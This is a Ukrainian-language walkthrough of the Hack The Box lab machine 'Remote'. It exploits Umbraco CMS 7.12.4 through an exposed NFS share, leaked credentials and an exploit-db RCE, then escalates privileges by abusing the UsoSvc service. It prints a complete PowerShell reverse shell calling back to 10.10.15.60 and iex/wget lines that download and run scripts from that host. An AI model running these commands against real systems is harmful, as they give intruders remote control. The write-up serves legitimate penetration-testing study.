
Як знайти вразливості в CMS Umbraco та отримати доступ до системи” — це покроковий посібник для спеціалістів з кібербезпеки та ентузіастів пентестингу. У статті описано, як дослідити відкриті порти, аналізувати мережеві сервіси (зокрема NFS), знаходити конфігураційні файли та облікові дані, а також експлуатувати уразливості в CMS Umbraco.
Машині призначено IP-адресу 10.10.10.180, яку додаємо у файл /etc/hosts
.
10.10.10.180 remote.htb
Спочатку виконується сканування відкритих портів. Для прискорення процесу використовується masscan, оскільки сканування всіх портів за допомогою nmap займає більше часу. Скануються всі TCP і UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500
На хості відкрито багато портів. Тепер проскануємо їх за допомогою nmap, щоб відфільтрувати та вибрати потрібні.
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
Порт 111 відповідає за NFS (дозволяє монтувати видалені файлові системи через мережу). Давайте подивимося список ресурсів.
Маємо доступні ресурси, давайте примонтуємо цей ресурс.
У цій директорії виявлено файл Web.config та папку Umbraco. Umbraco — це платформа системи керування контентом із відкритим вихідним кодом.
Таким чином, нам потрібно подивитися всі конфіги, а також дізнатися версію Umbraco. Ось що можна відзначити у Web.Config.
Знаходимо облікові дані для smtp та версію Umbraco: 7.12.4. Кора є вразливою, якщо є облікові дані.
Далі проводиться вивід усіх файлів та каталогів на віддаленому сервері для ідентифікації та аналізу файлів, які можуть бути корисними для подальшого дослідження.
ls -lR ./
Після звуження кола файлів виконується їх перегляд. Для швидкого пошуку ключових даних використовується команда grep, зокрема для виявлення рядків, які містять такі слова, як user
, login
, pass
, vers
тощо. У результаті цього аналізу вдалося виявити інформацію про існування двох користувачів.
Після цього ще раз проходимося grep’ом у пошуках рядків admin і ssmith. І знаходимо хеші даних користувачів.
І успішно зламуємо пароль адміністратора.
У базі exploit-db можна знайти готовий експлойт, проте для його коректного використання потрібна незначна модифікація відповідно до конкретних умов цільової системи.
Спочатку в експлойті задаються облікові дані та адреса хоста, які необхідні для його виконання.
На другому етапі модифікується навантаження експлойта, задаючи виконуваний файл та його параметри. У цьому випадку для тестування використовується команда ping.
Як тільки програма відпрацює, у tcpdump ми побачимо пакети ICMP.
Завантажуємо наступний реверс-шелл:
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close()
Збережемо його в shell.ps1, запустимо на локальній машині http сервер.
sudo python3 -m http.server
Змінимо навантаження.
І виконавши, отримаємо бекконнект:
Під час аналізу інформації про користувача виявлено привілей, який може бути використаний для подальшого підвищення прав доступу.
Оскільки використовується Windows Server 2019, метод із застосуванням імперсонатора токенів для підвищення привілеїв (LPE) є недійсним.
Давайте використовуємо PowerUp для пошуку вектора LPE. Завантажимо його з локального хоста та виконаємо повну перевірку.
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks
Виявлено дозвіл на використання Update Orchestrator Service — служби, яка відповідає за організацію завантаження, встановлення та перевірки оновлень Windows.
Для подальшої експлуатації створюється другий shell (з попередньою зміною порту в першому), який завантажується на цільову машину для забезпечення доступу.
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1
Запускаємо за допомогою UsoSvc.
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"
І отримуємо бекконект.
У цій статті покроково показано, як знайти слабкі місця в CMS Umbraco і скористатися ними, щоб отримати доступ до системи. Використовуються базові інструменти для сканування мережі, пошуку конфігураційних файлів і отримання важливої інформації, такої як логіни та паролі.
На основі знайдених даних запускається експлойт для віддаленого доступу, а далі застосовується метод підвищення привілеїв через службу оновлень Windows. Завдяки цьому вдалося повністю взяти під контроль цільову машину.
Стаття буде корисною для тих, хто вивчає основи пентестингу або хоче зрозуміти, як використовувати інструменти та експлойти в реальних ситуаціях.